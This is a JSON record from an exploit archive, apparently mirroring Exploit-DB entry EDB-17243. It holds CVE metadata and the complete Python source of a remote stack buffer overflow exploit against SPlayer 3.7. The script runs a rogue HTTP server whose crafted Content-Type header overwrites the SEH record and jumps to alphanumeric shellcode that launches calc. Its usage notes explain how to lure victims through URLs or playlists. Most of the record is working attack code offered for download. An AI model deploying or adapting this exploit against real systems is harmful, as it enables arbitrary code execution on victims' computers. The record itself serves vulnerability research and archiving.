{"exploit":{"id":"EDB-17243","name":"SPlayer 3.7 (build 2055) - Remote Buffer Overflow","description":"SPlayer 3.7 (build 2055) - Remote Buffer Overflow","cves":["CVE-2011-10022"],"author":"xsploitedsec","published":"2011-05-04","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17243","path":"exploits/windows/remote/17243.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17243.py","vulnerabilities":[{"id":"CVE-2011-10022","state":"PUBLISHED","title":"SPlayer 3.7 Content-Type Header Buffer Overflow","titleSource":"CVE Program","description":"SPlayer version 3.7 and earlier is vulnerable to a stack-based buffer overflow when processing HTTP responses containing an overly long Content-Type header. The vulnerability occurs due to improper bounds checking on the header value, allowing an attacker to overwrite the Structured Exception Handler (SEH) and execute arbitrary code. Exploitation requires the victim to open a media file that triggers an HTTP request to a malicious server, which responds with a crafted Content-Type header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10022","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10022"},"updatedAt":"2026-05-15T11:13:44.330Z","retrievedAt":"2026-11-26T18:05:59.971Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17243.png?v=2","url":"https://exploitbin.com/exploits/EDB-17243","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17243/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17243/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit\n# Date: May 04, 2011\n# Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>\n# Software Link: http://www.splayer.org/index.en.html\n# Versions: <= 3.7 (build 2055)\n# Tested On: WinXP SP3 Eng / SPlayer 3.7 build 2055 (English Locale)\n# CVE: N/A\n\n# Software Descripton:\n# \"SPlayer is a simple and free high performance all-in-one audio and video player that was designed\n# in order to help you easily view your videos, images and listen to your music files. SPlayer lets\n# you enjoy your favorite music and movies\"\n\n# Vulnerability information:\n# SPlayer is vulnerable to a remote buffer overflow when parsing a specially crafted HTTP header from\n# a remote server. The bug is triggered due to the \"Content-Type:\" field being passed to the wcstol()\n# function, prior to any bounds checking. This could allow an attacker to trick a remote user into\n# opening a specially crafted playlist file, containing a URL pointing to a malicious web server.\n\n# Usage:\n\n# Method 1:\n# 1. Execute this script ...\n# 2. Launch SPlayer, right click and click open->URL (ctrl+u) ...\n# 3. Input the server URL and Click OK ...\n# 4. Boom!/calc ...\n\n# Method 2:\n# 1. Execute this script ...\n# 2. Launch SPlayer and click Open (ctrl+o) ...\n# 3. Browse to any playlist file (m3u, pls) It must contain the server URL! ...\n# 4. Click Open ...\n# 5. [wait til URL is loaded], Boom!/calc ...\n\n# URL Examples:\n# http://serverip/anyfilename.avi\n# http://serverip:port/anyfilename.avi\n# http://serverip/*\n\n# Shouts:\n# edb-team, corelanc0d3r/corelan-team, kaotix, sheep, deca, nemesis\n\nimport sys\nimport socket\n\nbindaddr = \"0.0.0.0\"\nbindport = 1234\nbanner = \"Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1\"\n\n# calc shellcode / alpha_upper\ncalcshell = (\t\t\t      # Plenty of room for lots of shellcode here\n\"PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP\"\n\"AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0\"\n\"I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0\"\n\"8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020\"\n\"F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0\"\n\"D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0\"\n\"C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0\"\n\"N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0\"\n\"C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0\"\n\"C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0\"\n\"C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0\"\n\"O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0\"\n\"K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0\"\n\"D080Q2U0C000E0Z1111KPA\")\n\nclass Client():\n\n\tdef about(self):\n\t\tabout = \"\\r=======================================================================\\n\"\n\t\tabout +=  \" PoC Title: Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow\\n\"\n\t\tabout +=  \" Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>\\r\\n\"\n\t\tabout +=  \"=======================================================================\"\n\t\tprint about\n\n\tdef run (self):\n\t\tpre = \"HTTP/1.1 200 OK\\r\\n\"\n\t\tpre += \"Date: Tue, 03 May 2011 04:18:38 GMT\\r\\n\"\n\t\tpre += \"Server: \" + banner + \"\\r\\n\"\n\t\tpre += \"Last-Modified: Sun, 03 Jul 2005 18:39:44 GMT\\r\\n\"\n\t\tpre += \"ETag: \"\"1f3814d-e6800-3fb032cba1c00\"\"\\r\\n\"\n\t\tpre += \"Accept-Ranges: bytes\\r\\n\"\n\t\tpre += \"Content-Length: 99999\\r\\n\"\n\t\tpre += \"Connection: close\\r\\n\"\n\t\tpre += \"Content-Type: \"\n\n\t\t#Begin evil buffer\n\t\tevil = \"\\x41\" * 2073\n\t\tevil += \"\\x61\\x73\"\t\t#popad/nop align\n\n\t\tevil += \"\\x25\\x73\"\t\t#SE handler - ppr/splayer.exe [0x00730025]\n\n\t\t#Close the blinds\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\t\tevil += \"\\x55\"\t\t\t#push ebp\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\t\tevil += \"\\x58\"\t\t\t#pop eax\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\n\t\t#Align to EAX/execute shellcode\n\t\tevil += \"\\x05\\x19\\x11\"\t\t#add eax, 0x11001900\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\t\tevil += \"\\x2d\\x11\\x11\"\t\t#sub eax, 0x11001100\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\t\tevil += \"\\x50\"\t\t\t#push eax\n\t\tevil += \"\\x73\"\t\t\t#nop/align\n\t\tevil += \"\\xc3\"\t\t\t#ret\n\n\t\tevil += \"\\x46\" * 1004\t\t#align shellcode->EAX\n\t\t#End evil buffer\n\n\t\tpadding = \"\\x44\" * (30000 - len(pre + evil + calcshell)) + \"\\r\\n\"\n\t\tpayload = pre + evil + calcshell + padding\n\n\t\ttry:\n\t\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\ts.bind((bindaddr, bindport))\n\t\t\ts.listen(5)\n\t\t\tprint \"[+] Listening for incoming connections on port: %d\" % bindport + \" ...\"\n\t\texcept:\n\t\t\tprint \"[!] Error binding socket, is the port already in use?\\r\\n[-] Exiting\"\n\t\t\tsys.exit()\n\n\t\t# Note: SPlayer seems to connect/send a GET request twice every time a URL is processed\n\t\t# and it crashes after the second request\n\n\t\twhile 1:\n\t\t\t(clientsock, address) = s.accept()\n\t\t\tprint \"[*] New connection from\", address[0]\n\t\t\tclientsock.recv(1024)\n\t\t\tsent = clientsock.send(payload)\n\t\t\tprint \"[+] Payload sent successfully [size: %d bytes]\" % sent\n\t\t\tsent = 0\n\t\t\tprint \"[-] Closing connection to\", address[0]\n\t\t\tclientsock.close()\n\nif __name__ == \"__main__\":\n\tClient().about()\n\tClient().run()","sha256":"7508013d2e16511cbd16410f1818e951388ba47bb7cc4ef07d454245d3cca8e3","bytes":5353,"fetchedAt":"2026-11-26T18:05:59.865Z","encoding":"utf-8 (display only; download retains original bytes)"}